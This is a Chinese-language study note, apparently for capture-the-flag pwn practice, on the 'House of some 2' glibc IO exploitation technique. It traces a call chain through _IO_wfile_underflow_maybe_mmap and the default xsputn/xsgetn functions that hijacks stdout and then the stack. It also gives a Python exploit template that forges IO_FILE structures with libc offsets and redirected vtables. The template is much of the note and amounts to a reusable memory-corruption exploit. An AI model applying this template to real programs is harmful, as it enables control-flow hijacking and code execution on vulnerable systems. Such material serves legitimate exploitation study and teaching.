House of some 2学习笔记
对于无法exit或者正常返回是无法触发_IO_flush_all_lockp的
需要中间的函数IO流进行调用
针对printf和puts函数的IO流,能够挟持stdout指针或者_IO_2_1_stdout结构体,就可以触发house of some 2
调用链:
利用比较复杂,混合了三条链,需要掌握underflow、default_xsgetn、default_xsputn以及_IO_wfile_underflow_maybe_mmap
调用链0:挟持puts等IO流输出函数的xsputn,挟持为_IO_wfile_underflow_maybe_mmap进入控制流
调用链/过程:
_IO_wfile_underflow_maybe_mmap(fp)
→→ _IO_file_underflow_maybe_mmap(fp)
→→→ decide_maybe_mmap(fp)
→→→→ write
(无用)
→→→ _IO_UNDERFLOW
→→→→ SYS_READ(stdout)
覆写stdout然后控制wfile_jumps再次为wfile_underflow_maybe_m…
→→ _IO_wfile_underflow_maybe_mmap(fp)
→→→ _IO_file_underflow_maybe_mmap(fp)
→→→→ decide_maybe_mmap(fp)
→→→→→ _IO_default_xsputn
由于上面的mmap是wfile进来的,而这里的stat挟持依赖于IO_vtable,所以可以挟持为任意东西,这里的思路是挟持栈内数据然后修改后再放回去
→→→→ _IO_UNDERFLOW
→→→→→ SYS_READ(stdout)
→→→ _IO_wfile_underflow_maybe_mmap(fp)
→→→→ _IO_file_underflow_maybe_mmap(fp)
→→→→→ decide_maybe_mmap(fp)
→→→→→→ _IO_default_xsgetn
放回去之后的underflow要尽快退出利用ret挟持栈
→→→→→ _IO_UNDERFLOW
→→→→ 0xdeadbeef
其中最后过程的rdx可通过offset字段控制
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| _IO_wfile_underflow_maybe_mmap = libc_base + 0x7e7b04816f40 - 0x7e7b04600000 _IO_str_jumps = libc_base + 0x7363f02176c0 - 0x7363f0000000 _IO_default_xsputn = _IO_str_jumps + 0x38 _IO_default_xsgetn = _IO_str_jumps + 0x40
fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_'] fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8 fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000 fake_IO_FILE.vtable = _IO_wfile_underflow_maybe_mmap - 0x18 fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 fake_IO_FILE._mode = 0xffffffff fake_IO_FILE._offset = 0x0
pad = bytes(fake_IO_FILE)
edit(0xe0, libc_base + libc.sym['_IO_2_1_stdout_'], flat([ pad ]))
fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000 fake_IO_FILE._IO_write_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe0*2 fake_IO_FILE._IO_write_end = libc_base + libc.sym['_IO_2_1_stdout_'] fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xf8 fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8 fake_IO_FILE._IO_read_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 * 3 fake_IO_FILE.vtable = _IO_default_xsputn - 0x90 fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 fake_IO_FILE._mode = 0xffffffff fake_IO_FILE._offset = 0x0
s(flat([ bytes(fake_IO_FILE), b'\x00'*0xe0, _IO_wfile_underflow_maybe_mmap ]))
fake_IO_FILE = IO_FILE_plus_struct() fake_IO_FILE.flags = 0x0010 fake_IO_FILE._IO_buf_base = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xf8 fake_IO_FILE._IO_buf_end = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0*2 + 0x8 fake_IO_FILE.vtable = _IO_default_xsgetn - 0x90 fake_IO_FILE._wide_data = libc_base + libc.sym['_IO_2_1_stdout_'] + 0xe0 fake_IO_FILE._mode = 0xffffffff fake_IO_FILE._IO_read_ptr = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe0*2 fake_IO_FILE._IO_read_end = libc_base + libc.sym['_IO_2_1_stdout_'] - 0xa8 fake_IO_FILE._offset = 0x0
s(flat([ 0xdeadbeef, b'\x00'*0xf0, bytes(fake_IO_FILE), b'\x00'*0xe0, _IO_wfile_underflow_maybe_mmap ]))
|
流程图偷csome:
_IO_2_1_stdout_
附近布局如下:
理论上只要挟持了IO结构体,然后进入了IO流,能够挟持到_IO_wfile_underflow_maybe_mmap
就能触发整个攻击流程
鉴定为无法利用_IO_flush_all_lockp触发,因为第二次刷新了